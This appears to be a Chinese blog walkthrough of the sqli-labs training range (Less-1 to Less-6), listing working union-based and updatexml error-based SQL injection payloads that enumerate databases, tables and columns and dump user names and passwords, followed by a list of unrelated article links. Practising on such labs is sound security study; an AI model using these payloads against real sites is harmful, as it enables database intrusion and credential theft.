SQL注入漏洞复现1

一、靶场信息

sqli-labs下载:https://github.com/Audi-1/sqli-labs

phpstudy下载地址:http://down.php.cn/PhpStudy20180211.zip

我是在本地安装小皮搭建环境,相比于在服务器上搭建环境,更加简单

二、注入实操

Less-1

复制代码
爆库名:http://127.0.0.1:100/Less-1/?id=-1' union select 1,2,database()--+
复制代码
爆表名:?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
复制代码
爆列名:?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+
复制代码
爆数据:?id=-1'union select 1,group_concat(username,0x3a,password),3 from users--+

Less-2

复制代码
爆库名:?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata --+

?id=-1 union select 1,2,database()--+
复制代码
爆表名:?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
复制代码
爆列名:?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+
复制代码
爆数据:?id=-1 union select 1,group_concat(username,0x3a,password),3 from users--+

Less-3

复制代码
爆库名:?id=-1')  union select 1,2,group_concat(schema_name) from information_schema.schemata --+

?id=-1') union select 1,2,database()--+
复制代码
爆表名:?id=-1')  union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
复制代码
爆列名:?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+
复制代码
爆数据:?id=-1') union select 1,group_concat(username,0x3a,password),3 from users--+

Less-4

复制代码
爆库名:?id=-1") union select 1,2,group_concat(schema_name) from information_schema.schemata --+

?id=-1") union select 1,2,database()--+
复制代码
爆表名:?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
复制代码
爆列名:?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+
复制代码
爆数据:?id=-1") union select 1,group_concat(username,0x3a,password),3 from users--+

Less-5

复制代码
爆库名:?id=1' and updatexml(1,concat(0x7e,database(), 0x7e),1)--+
复制代码
爆表名:?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'), 0x7e),1)--+

字符过长,显示不全,使用substr函数进行截取:

?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(table_name)from information_schema.tables where table_schema='security'),1,32), 0x7e),1)--+
复制代码
爆列名:?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'), 0x7e),1)--+
复制代码
爆数据:?id=1' and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password)from users),0x7e),1)--+
复制代码
字符过长,显示不全,使用substr函数进行截取:

?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(username,0x3a,password)from users),32,64),0x7e),1)--+

Less-6

复制代码
爆库名:?id=1" and updatexml(1,concat(0x7e,database(),0x7e),1)--+
复制代码
爆表名:?id=1" and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'), 0x7e),1)--+
复制代码
爆列名:?id=1" and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'), 0x7e),1)--+
复制代码
爆数据:?id=1" and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password)from users),0x7e),1)--+
相关推荐
测试人社区-千羽3 分钟前
生物识别系统的测试安全性与漏洞防护实践
运维·人工智能·opencv·安全·数据挖掘·自动化·边缘计算
网络研究院1 小时前
2026年智能体人工智能的激增引发新的网络安全风险
网络·人工智能·安全·web安全·ai
缘友一世1 小时前
计算系统安全速成之内存布局与缓冲区溢出攻击【4】
安全·系统安全·计算机系统
Bruce_Liuxiaowei1 小时前
从系统安全角度方面看注册表项Windows NT与Windows的区别
windows·安全·系统安全
-大头.2 小时前
Java泛型实战:类型安全与高效开发
java·开发语言·安全
编程乐学(Arfan开发工程师)2 小时前
渗透测试基础详解:通往 CISP-PTE 的第一步
网络·安全·web安全
Hello.Reader2 小时前
Flink SQL Window Deduplication按窗口“保留第一条/最后一条”记录(Streaming)
大数据·sql·flink
白露与泡影3 小时前
Java关键字解析之final:不可变的本质、设计哲学与并发安全
java·开发语言·安全
先做个垃圾出来………3 小时前
如何判断一个SQL逻辑是否需要拆分为多个事务单元
数据库·sql·oracle
晨曦5432103 小时前
数据库视图:数据安全与查询利器
数据库·sql·mysql